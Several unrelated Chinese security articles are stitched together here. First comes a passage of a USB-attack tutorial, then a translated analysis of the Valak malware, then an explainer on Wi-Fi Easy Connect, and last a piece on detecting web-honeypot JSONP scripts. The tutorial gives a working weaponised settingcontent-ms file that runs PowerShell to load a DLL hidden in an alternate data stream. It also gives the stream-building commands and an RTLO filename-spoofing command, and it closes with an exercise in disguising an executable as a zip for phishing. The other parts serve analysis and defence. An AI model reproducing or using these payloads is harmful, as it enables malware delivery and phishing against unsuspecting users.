Stream中。我们所面临的问题在于settingcontent-ms文件默认会在“C:windowssystem32”中打开，这意味着我们需要找到一种方法来定位USB介质所对应的卷标。我使用了powershell来完成这个任务，可能还有其他方法能够解决这个问题。
我希望执行的命令行如下所示：
%windir%system32cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType='2'").Name;Start-Process "notepad.exe" "$driveREADME.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$driveREADME.txt.settingcontent-ms:R"
这段命令所做的操作包括：
1、调用wmi来获取USB卷名，存放到`$drive`变量中；
2、运行notepad打开`README.txt.settingcontent-ms:T.txt`中的诱骗文件。
3、运行`control.exe`来加载`README.txt.settingcontent-ms:R`中的DLL载荷。
需要注意的是，这里我们可以参考上一种场景，使用rundll32来运行DLL，然而我想尝试一下其他方法。
构造完毕的`README.txt.settingcontent-ms`文件如下所示：
<?xml version="1.0" encoding="UTF-8"?>
<PCSettings>
<SearchableContent xmlns="http://schemas.microsoft.com/Search/2013/SettingContent">
<ApplicationInformation>
<AppID>windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel</AppID>
<DeepLink>%windir%system32cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType='2'").Name;Start-Process "notepad.exe" "$driveREADME.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$driveREADME.txt.settingcontent-ms:R"</DeepLink>
<Icon>.</Icon>
</ApplicationInformation>
<SettingIdentity>
<PageID></PageID>
<HostID>{12B1697E-D3A0-4DBC-B568-CCF64A3F934D}</HostID>
</SettingIdentity>
<SettingInformation>
<Description>@shell32.dll,-4161</Description>
<Keywords>@shell32.dll,-4161</Keywords>
</SettingInformation>
</SearchableContent>
</PCSettings>
### 创建Alternative Data Stream
首先，我们需要确保USB介质已经使用NTFS文件系统格式化过。
其次，将`README.txt.settingcontent-ms`文件移动到NTFS USB介质中。
在这个例子中，USB介质所对应的卷标为“G:”。
现在我们可以来构建ADS。
首先是包含DLL的`README.txt.settingcontent-ms:R`流：
type payload.dll > G:README.txt.settingcontent-ms:R
然后是包含诱骗文本的`G:README.txt.settingcontent-ms:T.txt`流：
type Text.txt > G:README.txt.settingcontent-ms:T.txt
我们可以使用sysinternal的“Streams”工具来检查创建的ADS的确对应USB介质上的文件。
> 注意：如果我们编辑并保存USB介质上的`README.txt.settingcontent-ms`，那么与文件关联的Alternate Data
> Stream就会丢失，我们不得不重新执行以上两条命令。
### 测试
将制作好的U盘插入另一台Windows
10主机上。访问这个U盘，双击“README.txt”。我们可以看到DLL被成功加载，并且notepad会自动打开，展示“This is a simple
README file. ”文本。
## 四、利用Unicode RTLO
**目标系统：** MS Windows以及其他系统
**主要原理：** 实话实说我已不记得最早在哪看到这种方法。
### 利用策略
这一次我们准备构造一个欺诈文件后缀名，具体方法是注入Unicode Right-To-Left-Overrive（RTLO）字符。这是隐藏文件扩展名的一种绝佳方法，因为在RTLO之后的所有字符将以从右到左的方式呈现给用户。
比如，我可以使用macro_pack来构造能够运行计算器的一个HTA文件，该文件带有伪造的“.jpg”扩展名。具体命令如下：
echo calc.exe | macro_pack.exe -t CMD -G calc.hta --unicode-rtlo=jpg
在资源管理器中，这个文件看起来像是`calcath.jpg`，而实际上它的文件名为`calc[rtlo]gpj.hta`。
这种方法非常有趣，并且也适用于其他操作系统（如Ubuntu），也有可能适用于其他应用程序，如邮件客户端等。
### 练习
我们可以通过多种方法来利用unicode RTLO实施钓鱼攻击。
比如，一种方法就是将恶意的exe文件伪装成zip文件（更改文件图标，同时使用RTLO方法使文件名看起来以`.zip`后缀名结束）。
在某个攻击场景中，当目标用户双击伪造的zip文件后，exe文件就会运行载荷，打开隐藏在文件资源区或者ADS中的zip诱骗文件。
这个任务就留给大家来练习吧 🙂
审核人：yiwang 编辑：边边 | 社区文章 |
# Valak恶意软件分析
|
##### 译文声明
本文是翻译文章，文章原作者 cybereason，文章来源：cybereason.com
原文地址：<https://www.cybereason.com/blog/valak-more-than-meets-the-eye>
译文仅供参考，具体内容表达以及含义原文为准。
## 介绍
Valak 在2019年首次发现，它被归类为一种加载器，主要用于多场针对美国的战役。它经常与
[Ursnif](https://www.cybereason.com/blog/new-ursnif-variant-turns-to-cryptocurrency-as-banks-become-more-secure) (又名
[Gozi](https://malpedia.caad.fkie.fraunhofer.de/details/win.gozi) ) 和
[IcedID](https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid) 配合，经过
Cybereason Nocturnus
在2020年4月份的调查，Valak被确认用于主要针对美国和德国的战役中。这些活动涉及到新版本，表明该恶意软件作者一直在快速开发更好的，改进的版本。目前已经发现了30多种不同版本的恶意软件，很短的时间内显示出了巨大的进步。Valak
的主要功能包括：
* **无文件阶段** ：在无文件阶段中用注册表来存储不同的组件
* **侦察** ：从被感染主机收集用户、计算机和网络信息
* **地理位置感知** ：检查受害者机器的地理位置
* **屏幕截图** ：获取受感染主机的屏幕截图
* **下载次要payload** ：下载其它插件和恶意软件
* **企业意识** ：针对管理员和企业网络
* **渗透Exchange服务器** ：从 Microsoft Exchange 邮件系统收集和窃取敏感信息，包括凭据和域证书
在改进中，Valak 新版本最重要且最有趣的功能是名为“PluginHost”的组件。它提供和C2
服务器的通信，并以“ManagedPlugin”的名称下载其他插件。被观察到的插件有“Systeminfo”和“Exchgrabber”，它们似乎都是针对企业的。
## 威胁分析
### 初次感染
在这些活动中，最常见的感染媒介是嵌入了恶意宏代码的 Microsoft Word 文档。根据目标的不同，文档的内容为英文或者德文。
恶意宏代码用于下载名为”U.tmp”，扩展名为”.cab”的 DLL 文件并保存到 temp 文件夹中。
DLL 文件下载地址：“hxxp://v0rzpbu[.]com/we201o85/aio0i32p.php?l=hopo4.cab”
下载完 DLL 文件后，该代码用”regsvr32.exe”运行恶意 DLL
执行时，DLL 会调用 WinExec API 进行删除和启动。这一阶段中，Valak 使用随机命名的恶意 JavaScript
文件，该文件每次执行都会更改名称。下面的例子中该 JavaScript 文件名为 “sly4.0”。
## 多阶段攻击：Valak的逐步分析
### 第一阶段：获得初步立足点
下载的 JavaScript 代码”sly4.0”包含一个名为”PRIMARY_C2”的变量，其中包含多个伪造和合法的域名，有Google, Gmail,
Avast 和 Microsoft 等等，样本间的域名列表有所不同。
Valak 使用两个预定义的 URI 创建到列表中不同 C2 服务器的连接：
* 一个用于下载名为“project.aspx”的编码文件，另存为 project[1].htm在版本30中，该文件改名为”rpx.aspx“
* 一个用于下载名为“a.aspx”的编码文件，另存为 a[1].htm在版本30中，该文件改名为”go.aspx“
恶意软件使用 Base64 和 XOR 密码对这两个文件进行解码，密钥是预定义字符串和运行时从内存收集的信息的组合。
该恶意软件在
“HKCUSoftwareApplicationContainerAppsw64”注册表项中设置诸如C2服务器，ID，下载的payload和已解码的project.aspx之类的信息，这些将在第二阶段中使用。
下载好payload并设置好注册表的键和值后，Valak使用计划任务来设置它的持久化。
计划任务设置为启动
wscript，该JavaScript脚本执行”Classic2Application.bz”文件中名为“Default2.ini”的备用数据流（ADS）。
ADS中的脚本执行“HKCUSoftwareApplicationContainerAppsw64ServerUrl”的内容，该注册表项包含第二阶段JavaScript文件“project.aspx”的内容。
## 第二阶段：获取并执行次级PAYLOAD
第一阶段，Valak 为这次攻击夯实基础。第二阶段，它下载用于侦察活动和窃取敏感信息的其他模块。
第二阶段中将使用两个payload(“project.aspx”和”a.aspx”)和注册表键中的配置来执行恶意活动。
## 第二阶段的JS – PROJECT.ASPX
“project.aspx”（即我们所称的第二阶段的JS）是一个看起来与第一阶段的JavaScript文件（“sly4.0”）非常相似的文件。但是，仔细检查后，它包含其他功能。
该脚本被计划任务所执行以实现持久化，它的主要目标是：
* 执行插件管理组件Pluginhost.exe
* 从C2下载并解析其它payload
* 将payload另存为备用数据流并设置计划任务以运行它们
在第二阶段，配置文件已更改为包含唯一“Client_ID”和尝试下载的另一个文件“bounce.aspx”。
第二阶段还包含三个独特的功能，即“CreateExecJob”，“CreateOleExecJob”和“LaunchPlugin”.
这些函数经”ParseTask”函数调用，并从C2接收已解析的任务。
如果该恶意软件下载了以“ODTASK”开头的payload，它会调用“CreateOleExecJob”，将payload作为文件“C:UsersPublicPowerManagerSpm.jar”的ADS写入，并创建计划任务“PerfWatson_%taskname%”来运行它。
如果恶意软件收到以单词“PLUGIN”开头的内容，它会调用”LaunchPlugin“，将WMI以内容作为参数来执行PluginHost.exe文件。
如果恶意软件收到以单词“TASK”开头的内容，它会调用”CreateExecJob“，将该内容作为文件”C:UsersPublicPowerManagerSpm.jar“的ADS写入，并创建计划任务”PowerUtility_%taskname%W“来运行它。
我们的分析表明，这次，Valak的payload是IcedID。但是，该payload可能会有所不同，因为攻击者可以将其他payload下载到受感染的系统。
在以前的感染中，Valak下载了不同的远程管理工具，如putty.exe和NetSupport Manager。
## PLUGINHOST – A.ASPX
解码后的”a.aspx“作为 %TEMP%\<ID>.bin
保存在临时文件夹中，该文件内部名为”PluginHost.exe“，是一个可执行文件，用于管理其他组件。
Valak 的模块化插件架构：
## PLUGINHOST – 插件管理组件
可执行文件”PluginHost.exe“的功能分为四个类：Bot，HTTPClient，Program 和
Utils，这使得它能执行下载并加载恶意软件的其他组件。
### Bot：
bot类负责从第一阶段设置的几个注册表项中进行读取
* GetID() 读取包含ID的注册表项”SetupServiceKey“
* GetC2() 读取包含C2域名的注册表项”ShimV4“
两个函数都是用Utils类来读取注册表项
### HTTPClient:
HTTPClient类包含两个函数，post 和 GetPluginBytes。
GetPluginBytes() 函数使用 GetC2() 获取C2域名并添加嵌入的URI。该URL用于下载插件的其他模块。
### Program:
Program类包含文件的主函数 main()。该函数执行函数 GetPluginBytes()
来下载类型为”ManagedPlugin“的模块组件。这些组件将以反射方式加载到可执行文件的内存中，并扩展插件功能。
### Utils:
Utils类包含其他类使用的几个维护函数。
## MANAGEDPLUGIN – 增强功能的插件套件
在提到其他插件时，值得注意的是，在 Valak 的早期版本中，插件是由第二阶段的JS通过PowerShell下载的。而近期的 Valak
版本抛弃了很流行但易于检测的 PowerShell 下载器，并将其转换为 PluginHost，作为管理和下载额外 payload 的一种方式。这种转变表明
Valak 的作者正在寻找更隐秘的方法来改进他们的躲避技术。
本次分析中，我们发现几种不同的模块被赋予相同的内部名称”ManagedPlugin.dll”。
这些模块被“PluginHost.exe”下载并加载。
* **Systeminfo** ：负责广泛的侦察，针对本地和域管理员
* **Exchgrabber** ：旨在窃取 Microsoft Exchange 数据并渗透到企业邮件系统中
* **IPGeo** ：验证目标的地理位置
* **Procinfo** ：收集被感染机器正在运行的进程信息
* **Netrecon** ：执行网络侦察
* **Screencap** ：从被感染机器获取屏幕截图
在这些组件中，一些组件专注于一个单一的、特定的活动来实现它们的目标，当涉及其它到能力和潜在影响时，它们的健壮性相对较差。这包括ipgeo,
procinfo, netrecon和screencap。
下面是“systeminfo”和“exchgrabber”的深入介绍，它们比前面提到的插件组件更高级、更复杂：
## MANAGEDPLUGIN： SYSTEMINFO，侦察模块
当涉及到类名时，“Systeminfo” 与 “PluginHost”
有许多相似之处。然而，与“PluginHost”不同的是，它包含了一些侦察功能，这些功能集中于收集用户、机器和现有的 AV 产品的信息。
该模块收集有关用户的信息，并尝试验证这是本地管理员还是域管理员。这表明，在感染机器之后，Valak
选择主要针对管理员和域管理员。这表明了一种倾向，目标是更高配置的帐户，如企业管理员。
该模块尝试使用 AntivirusSoftware() 函数查找被感染的机器是否安装了任何安全产品。使用 WMI 查询 “SELECT * FROM
AntiVirusProduct” 来收集已安装的杀毒软件的信息。
该模块还收集受感染机器的物理地址(MAC)和IP地址。
其他侦察活动还包括以下几个功能:
* **NetUser** ：提供更多关于用户的信息
* **SystemUpTime** ：记录机器运行的时间
* **WindowsVersion** ：确定 Windos 版本
为了过滤数据，插件使用了HTTPClient类中的“post”函数。“Post”使插件能够上传内容并将数据提取到远程C2，远程C2的域名存储在注册表中。
与“PluginHost”类似，“SystemInfo”使用另一个名为GetQuery()的函数，该函数构建URL以将信息发送到远程C2。URL使用Base64和一些字符替换进行编码。
“ManagedPlugin”模块的核心功能在“ManagedPlugin”类中。该函数无休止地循环并继续执行侦察活动并将其发送给攻击者。
## MANAGEDPLUGIN：EXCHAGRABBER – 目标为企业的窃取者
Exchgrabber，类似于systeminfo，当涉及到像Bot、HTTPClient和Utils这样的一些函数名时，它与PluginHost有一些相似之处。然而，它有自己不同的能力。
乍一看，这个模块似乎只用于窃取凭证，这可以在几个类和数据参数中看到，它们的名称都很清楚，比如“Credential”和“CredentialType”。
模块在类“credential”中处理其凭据管理，其中包括几个函数，用于处理凭据管理活动和保存这些凭据的数据类型。
这个类中最有趣的函数之一是“Credential”，它接收四个参数: username、password、target 和
CredentialType。它将这些凭证插入到相应的模块变量中。
“target”变量在核心的ManagedPlugin函数中用于存储与Microsoft Office应用程序相关的字符串。
“credential”函数中另一个有趣的参数是“CredentialType”。凭证的类型由枚举变量“CredentialType”决定，该变量包含模块试图提取的每个凭证。
**凭证类型是可以从企业Microsoft Exchange服务器数据中提取的敏感信息，包括域密码和域证书。**
提取此敏感数据允许攻击者访问企业内部邮件服务的内部域用户以及访问企业的域证书。使用systeminfo，攻击者可以识别哪个用户是域管理员。这造成了敏感数据泄露和潜在的大规模网络间谍或信息窃取的非常危险的组合。它还表明，这个恶意软件的目标首先是企业。
在检查类MainPlugin背后的核心逻辑后，每个类如何与其他类协作来从Microsoft Exchange和Outlook中提取数据就很清楚了。
该模块试图检查提取的数据是否与Microsoft
Office或MS.Outlook有关。如果有关，它将尝试访问文件“Autodiscover.xml”，使用函数
GetFiles。“Autodiscover.xml “是一个动态生成的文件，包含Microsoft
Outlook访问在配置向导中输入的邮箱所需的数据。Exchange
Autodiscover服务的主要目的是建立与Exchange用户邮箱的初始连接。然后，它尝试收集专用交换林的AutoDiscover
SMTP地址，并最终将所有提取的数据放在一个名为“text”的变量中。
在收集敏感数据之后，模块使用Base64对其进行压缩。这是“Utils”类中这个特定模块的一个新特性。然后，它使用POST函数和一个嵌入的URI将敏感数据发送到攻击者的C2。
## VALAK随时间的演变
在撰写这份报告时，我们已经看到了 Valak 的巨大变化。它目前的版本号是24。
本节通过分析版本6、版本9、版本23和版本24，重点介绍了 Valak 以前的版本和新版本之间的主要差异。
### Payload混淆的改进
在旧版本中，Valak 下载第二阶段 JS 只使用了一种混淆技术: Base64。新版本除了使用Base64外，还使用XOR。
### 插件管理组件
Valak 的最新版本在第一阶段下载了两个payload。第一个payload是 Valak 的插件管理组件(“pluginhost.exe”)，第二个是
Valak 第二阶段的 JavaScript payload。在早期版本中，Valak 没有包含“pluginhost” payload。
### PowerShell活动
在老版本的 Valak 中，第二阶段 JS 像新版本一样下载额外的内容，包括”TASK“， ”ODTASK“， ”PLUGIN“。在较新的版本中，Valak
还在第一阶段下载“PluginHost”，并在第二阶段接收到“PLUGIN”后执行它，然后再下载
ManagedPlugin.dll。在较早的版本中，Valak使用第二阶段的任务“PLUGIN”来利用PowerShell并下载“ManagedPlugin”作为一个Base64编码的二进制文件。
正如前面提到的，Valak 的后续版本放弃了流行但易于检测的PowerShell下载器方法，转而使用“PluginHost”来管理和下载额外的
payload。这一转变可能表明，Valak 的作者正在寻求利用更隐秘的方法，并改进他们的规避技术。
## VALAK的基础设施
分析不同的示例可以发现一个重复的URI模式，该模式用于连接到一个嵌入代码的域名的“bucket”。
例如，用于下载“PluginHost”(a.s aspx)的URI总是被构建为：
“a.aspx?redir=1&clientUuid=91&r_ctplGuid=” +<the encoded_ID>\+ “&TS2=”
+<random string>
这个URI并不是样本之间唯一的相似性，Valak有多个URI来跨组件匹配此行为。
**Valak被观察到的URI模式：**
* **DLL的下载** ：DLL URI 总是包含”aio0i32p“
* **第二阶段** ： 第二阶段（project.aspx）总是包含”?cwdTelemetry=2®clid=“
* **任务获取** ：从C2获取任务时总包含”?dx11diag=“
* **其它插件的下载** ：”PluginHost“下载插件时总包含”db.aspx?llid=“
* **Exchgrabber插件数据** ：从插件中提取数据的URI包含”class4.aspx?internalService“
Valak恶意软件的另一个有趣的方面是，它有一个共享的基础设施，几乎所有的不同版本。如下图所示，大多数已知域名之间都有连接，无论是URI相似性、下载的文件还是连接的文件。
## VALAK和其他恶意软件的关系
Valak 病毒的感染最初被描述为单方面的，Valak 主要下载其他已知的恶意软件，如 Ursnif 或 IcedID。然而，在调查过程中，我们发现
Valak 与其他恶意软件的关系实际上是多方面的。
例如，以下由恶意软件流量分析提供的网络流量记录说明了由 Ursnif 发起的感染链，它从同一个C2服务器下载 IcedID 和 Valak。
虽然这些特定的恶意软件之间的合作关系的性质还不完全清楚，我们怀疑它是基于地下社区的个人联系和相互信任。鉴于 Ursnif 和 IcedID
都被认为是使用俄语的电子犯罪生态系统的一部分，Valak
的作者可能也是使用俄语的地下社区的一部分。众所周知，这个社区在信任和声誉的基础上保持着相当密切的联系。
另一个可能将 Valak
背后的作者与俄语社区联系起来的线索是钓鱼文件中遗留的俄语和阿拉伯语(沙特阿拉伯)语言设置的痕迹。这些语言痕迹出现在我们分析的所有样本中，如下图所示:
需要指出的是，上述语言痕迹很容易被威胁行动者有意地操纵和放置在那里，因此，凭此确定威胁行动者的来源是不够的。
## VALAK作为独立恶意软件的演变
虽然最初下载的恶意软件是作为其他恶意软件的 payload，但在最近出现的Valak中，恶意软件似乎是作为一个独立的单元出现在传统的钓鱼活动中。
最近的行动针对两个特定的地理位置，包括美国和德国，文件的内容和名称是用英语和德语编写的，并伪装成合法文件。
尽管Valak似乎已经随着时间的推移而发展，并拥有信息窃取的功能，但很明显，Valak背后的威胁行动者继续与其他恶意软件合作，如 IcedID 和
Ursnif，以最大化他们的收入。
## 结论
本项研究中，Cybereason
Nocturnus团队分析了新兴的恶意软件Valak。尽管Valak于2019年首次亮相并被几名安全分析师归类为恶意软件加载器，但我们的调查表明Valak不仅仅是简单的恶意软件加载器。它是一种复杂的模块化恶意软件，具有侦察和信息窃取的功能。
在大约6个月的时间里，Valak的开发人员取得了巨大的进步，发布了30多个不同的版本。每个版本都扩展了恶意软件的功能，并增加了规避技术以提高其隐身能力。Valak至少有6个插件组件，使攻击者能够从受害者那里获得敏感信息。
扩展的恶意软件功能表明，Valak可以单独使用，也可以不与其他恶意软件一起使用。话虽如此，但Valak背后的威胁实施者似乎正与电子犯罪生态系统中的其他威胁实施者合作，制造出一种更危险的恶意软件。
这些恶意软件的攻击似乎主要针对美国和德国。Cybereason
Nocturnus团队将继续监控Valak病毒的传播情况，以确定病毒是否会传播到其他地区，因为恶意软件还在继续发展，并在网络犯罪分子中越来越流行。 | 社区文章 |
# 初探WPA3中的Wi-Fi Easy Connect
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
前些日子，Wi-Fi联盟组织正式宣布推出新的安全标准WPA3，其通过从头设计来解决WPA2存在的技术缺陷，缓解如KRACK攻击和DEAUTH等无线攻击带来的影响。
WPA3为支持Wi-Fi的设备进行了重点改动，大大增强了配置、身份验证和加密等功能。该标准同样包括Person、Enterprise两种模式，同时还可以应用于物联网领域。
新标准带来的改进包括：
1. 对小型网络使用的 WPA3-Personal进行了优化，从而可以抵御字典攻击。与通过4次握手进行身份验证的WPA2不同，WPA3将使用同步身份验证（SAE），这种协议既可以加强密钥交换时的安全性，又可以保护数据流量。
2. 针对企业环境使用的WPA3-Enterprise改进了加密标准，将密码算法提升至192位。
3. Wi-Fi CERTIFIED Enhanced Open（增强型开放式网络）。针对被动窃听攻击，其对开放式网络提供了保护。Wi-Fi Enhanced Open基于OWE（Opportunistic Wireless Encryption），为每位用户提供单独的加密，以保证用户设备与接入点间的通信安全。
4. 发布了Wi-Fi Easy Connect，这是一种适用于WPA2和WPA3网络的新型连接协议，用户可以通过扫描QR码的形式将没有显示界面的设备添加至网络。
本文讨论的重点便是Wi-Fi Easy Connect。
## 一、Wi-Fi 与 IEEE802.11
802.11标准是由美国电气和电子工程协会（Institute of Electrical and Electronics,
IEEE）负责管理。由于其比较复杂，标准更新也非常缓慢，于是在众多设备制造商的推动下成立了Wi-Fi联盟。
Wi-Fi联盟的主要工作是确保所有具有Wi-Fi认证标志的产品能共同工作，当802.11协议出现任何模糊的概念时Wi-Fi联盟将给出推荐实现。另外，Wi-Fi联盟还允许供应商实现一些草案标准，最著名的例子是Wi-Fi保护访问（WPS）。
简单来说，大家常听见的 Wi-Fi 标准实际上是 IEEE 802.11 标准中的一个子集，其由 Wi-Fi
联盟负责管理。基于两套系统的密切相关，也常有人把 Wi-Fi 当做 IEEE 802.11 标准的同义术语。Wi-Fi 还经常被写成 WiFi 或 Wifi
，但是它们并没有被 Wi-Fi 联盟认可。同时，并不是每样符合IEEE 802.11的产品都申请了 Wi-Fi 联盟的认证，缺少 Wi-Fi
认证的产品也并不一定意味著不兼容Wi-Fi设备。
## 二、Wi-Fi Easy Connect简介
随着近些年来智能家居和物联网行业的高速发展，不再局限于笔记本电脑和手机，音响、门锁、插座、空调、窗帘等设备也都开始具有了Wi-Fi功能。这类新设备往往都没有用户界面，使得将其配置与Wi-Fi网络进行连接变得非常麻烦。由于没有标准化的配置和身份验证过程，许多厂商尝试自己来实现配置方案，这留下了许多安全隐患。
这其中较为有名的是由德州仪器（TI）在2012年由推出的配网技术Smart
Config，其通过数据帧中未加密的组播字段和长度字段来传输编码后的网络配置信息。由于技术原理并不复杂，各个芯片厂商都有不同的实现及名称，如下图：
根据SmartConfig实现原理，配网信息编码后通过802.11数据帧传递，除了目标智能设备外，还可能会被周围的攻击者所捕获。如果攻击者能得到对应的编码表就能还原出Wi-Fi密码。在Defcon China上的议题“Passwords in the Air: Harvesting Wi-Fi Credentials from
SmartCfg
Provisioning”便展现了这一点。我已经写过一篇文章解读议题中的内容，这里不再赘述。（[https://www.anquanke.com/post/id/144865）](https://www.anquanke.com/post/id/144865%EF%BC%89)
Wi-Fi Easy Connect便是由Wi-Fi联盟提出的一个解决方案，其目标是让任何的Wi-Fi设备都可以便捷、安全地连接到Wi-Fi网络。可以认为是WPS（Wi-Fi Protected Setup ）的升级版。
在Wi-Fi Easy
Connect中，可以通过一个拥有丰富功能的高级设备（手机、平板等）作为配置设备（Configurator），它将负责配置其他所有设备，包括配置初始的接入点。其他的都是待注册设备（Enrollee
devices）。一旦配置设备连接到无线接入点，通过扫描待注册设备的二维码就可以让它们连上网络（也支持输入字符串的形式）。

其表示有这些优势：
1. 为待入网设备提供标准化的方式。
2. 通过使用二维码和用户的设备来简化管理网络。
3. 适用于没有用户界面的设备
4. 通过公钥加密进行安全认证
5. 支持 WPA2 和 WPA3 网络
6. 替换AP时，无需将所有设备重新入网到新AP。
## 三、Wi-Fi Easy Connect连接过程
Wi-Fi Easy Connect中包含两个角色类型：Configurator 和 Enrollee。
* Configurator，可以是手机、平板等移动设备上的应用程序，AP的Web接口或应用程序接口。
* Enrollee，除Configurator外的其他都是Enrollee
为了尽量减少交互的过程，Wi-Fi Easy
Connect包含扫描二维码的方式。其中可以包括设备的安全密钥和唯一标志符等信息。任何可以扫描二维码的设备都可以轻松读取，消除了手动输入的负担。
最为常见的场景是：
1. 用户使用手机扫描目标设备的二维码后，会自动尝试与其建立安全连接。
2. 连接建立后，向目标设备传递Wi-Fi网络的配置信息。
3. 目标设备使用这些信息去尝试扫描，选择，连接到目标网络。
除此之外，也可以主动显示二维码，让待联网目标设备来扫描以连上网络。在官方的文档中给出了一个例子：酒店可以在房间里的电视上显示二维码，客人只需使用手机扫描该二维码就可以连接上酒店网络。如果双方都没有扫描或展示二维码的能力，还可以使用字符串的形式来建立连接。
使用Wi-Fi Easy Connect的连接过程如下：
1. 配置AP
首先用户可以使用手机等设备扫描AP上的二维码，通过设备配置协议（Device Provisioning Protocol，DPP）来配置AP使其创建网络。
2. 配置设备
当网络建立后，就可以开始配置其他客户端设备了。同样可以通过扫描二维码的形式，每个设备都将获得自己特有的配置用以加入网络。同时，会生成属于该设备与网络间独特的安全证书，保护双方的通信。
设备连接到网络
一旦配置完成，设备就会使用得到的配置信息去尝试连接目标无线网络。

## 四、Device Provisioning Protocol (DPP)
每当扫描二维码时都会通过DPP协议来完成后续配置过程。需要注意的是，enrollee既可以是等待连接网络的客户端设备，也可以是AP设备。
DPP的过程分为这几部：
1. Bootstrapping
该过程由扫描二维码或输入字符串触发，交换双方设备的公钥以及其他信息。在二维码中包含了设备的公钥，以及频道、MAC地址等信息，其通过通过编码压缩成为了base64uri的形式，如下图二维码的信息包含了一个公钥和频道1、36的信息：
DPP:C:81/1,115/36;K:MDkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDIgADM2206avxHJaHXgLMkq/24e0rsrfMP9K1Tm8gx+ovP0I=;;
2. Authentication 与 Configuration
Configurator和Enrollee使用DPP认证协议来建立安全连接。Enrollee从Configurator中获得配置信息，连接到目标AP或者自己成为AP。该配置信息由Wi-Fi网络的类型、SSID、凭证信息组成。凭证信息中可以包含一个由Configurator签署的连接器，其中含有设备的公钥、网络角色（客户端或AP）、组属性（用以确定是否允许建立网络连接），以及签名信息。这确保了连接器对每个设备是唯一的，没法被其他设备所使用。如果是用于AP的连接器，则可以确保没有其他AP可以伪装成该AP。
3. Network access
客户端使用配置中的网络信息扫描目标AP，接着利用连接器使用Network Introduction Protocol协议去认证并建立连接。
在Network Introduction Protocol中包含了这些过程：
* Enrollee客户端与AP确认连接器由Configurator签名
* 确认网络角色是互补的：客户端与AP建立建立
* 确认组属性是否匹配
* Enrollee客户端和AP基于连接器的公钥生成成对主密钥（PMK）
* Enrollee客户端与AP建立连接
## 五、总结
总的来说，Wi-Fi Easy
Connect通过使用少量的交互来完成网络配置及建立连接工作，相比之前的方案更加简单而且安全，同时适用于没有交互界面的IoT设备。
由于该标准刚推出不久，还没有产品可以用来实际测试，仅以猜测的角度给出几个可能存在的攻击点：
1. 利用恶意二维码攻击用户手机
在过去一些攻击利用案例教导我们不要随便扫描二维码。在这项应用普及之后，“扫描二维码可免费上网”会成为一个诱使用户的良好理由。
2. 将用户设备连入恶意热点
与使用WPS的按钮模式来偷偷连接网络相似，WEC同样假设了设备只可由拥有者所接触。由于WEC中可以通过二维码对客户端或AP进行快速配置，可以假想你的邻居在跑来串门时，通过扫描二维码将你的智能摄像头连接到他的无线网络中这样的攻击场景。相关设备厂商需要合理的考虑在网络初始化后限制二维码配网功能。
3. 将恶意设备连入用户热点
比如在用户家偷偷放置一个收集设备，想办法骗取用户扫描电子二维码从而使恶意设备连上用户网络。
## 六、参考
1. <https://venturebeat.com/2018/06/25/wi-fi-alliance-introduces-wpa3-and-wi-fi-easy-connect/>
2. <https://www.wi-fi.org/discover-wi-fi/wi-fi-easy-connect>
文中有一些技术名词如Configurator、Enrollee等，目前还没有通用的翻译词汇，出于准确性的考虑使用了原文。
审核人：yiwang 编辑：边边 | 社区文章 |
# 关于检测web蜜罐利用jsonp获取信息的一些想法
## 0x00 引言
本文讨论出发点为(商业)蜜罐利用js脚本调用jsonp接口的过程与检测&防御手法.本文不提供任何成品插件以及检测,只会提供示例代码.
## 0x01 概述
由于最近参与做了一些hw前的演习项目,在这个过程中,时不时有别的攻击队踩了蜜罐导致被防守方反向溯源.
之前多多少少了解过几个当前市场的(商业)web蜜罐,知道大致关键技术点如下:
1. 配置jsonp接口信息
2. 配置蜜罐网站信息
* 仿站(提供目标站点扒取页面静态文件,功能无法正常使用)
* 二次修改后的源码(功能可用正常使用,但是所有数据全部为假数据,或者是精简以后的源码)
3. 等待踩蜜罐
在配置蜜罐阶段的时候，其实就会将已经配置好的jsonp接口所生成的js文件(固定|动态)URL,插入到蜜罐中的静态文件里面.以此来达到只要你打开蜜罐网站,那么js将会自动加载并且执行调用所有jsonp接口的数据,然后将数据返回至后端.
下图为某蜜罐调用jsonp完成数据获取的部分截图:
更多关于(商业)蜜罐的细节请参考各个商业蜜罐给出技术白皮书等信息.
## 0x02 插件实现
通过上文的概述,大家应该都大概简单的对此类蜜罐有了个大概的了解,那么针对以上这种类型的web蜜罐检查就很方便了,具体可以分为以下几个步骤:
1. 打开网页
2. 查看源代码
3. 查找所有js文件
4. 翻阅js文件是否有特征
如果以上4个步骤都是人工来执行,那么很多人在第一步的时候就已经中招了,你的信息已经被偷走了.当然可以直接跳到第二个步骤,不过也是很烦的一件事情.
对于浏览器插件有过使用或者编写过的小伙伴应该知道,浏览器的插件很多时候可以帮助我们完成很多事情,比如shodan的插件,在打开一个网站后可以自动去查询该网站的一些信息,那么我们也可以做一个类似的插件,但是除了要实现上述的4个功能点以外,还需要实现`对于网页中发起请求的时候对请求的内容进行分析判断,如果判断出来为蜜罐js脚本,则阻断该js脚本加载`的功能.以此来实现访问蜜罐,但是不会被偷取信息的功能.
首先要订阅一个json规则,结构如下:
{
"test111": [
{
"filename": "xss.min.js",
"content": "{{honeypotAny}}"
},
{
"filename": "xss2.min.js",
"content": "hello"
}
],
"test222": [
{
"filename": "{{honeypotAny}}",
"content": "word"
}
]
}
上诉规则中,`filename`或者`content`的内容为`{{honeypotAny}}`为占位符,表示任意的意思,一般情况下写该js文件中存在的一些特征字符串来进行匹配.
在进行实际编写测试的时候,发现了一些小坑,如果该蜜罐在你访问之后才添加了该插件,或者第一次拦截以后再次访问,前端为了优化加载时间,将会从缓存中加载js文件,由此对浏览器所有缓存设置了个短时间内的缓存时间.
最终效果如下图所示:
插件部分核心如下:
var honeypotUrlCache = {};
var http = {};
var ruleStr = '{"test111":[{"filename":"xss.min.js","content":"hello"}],"test222":[{"filename":"main.js","content":"word"}]}'
var rule = JSON.parse(ruleStr);
// 给数组添加push2方法，用于向数组push不重复的数据
<………略………>
// XMLHttpRequest 请求方法包装
<………略………>
// 规则匹配,匹配成功将数据放入缓存
function checkForRule(url,content){
for(item in rule){
for(r1 in rule[item]){
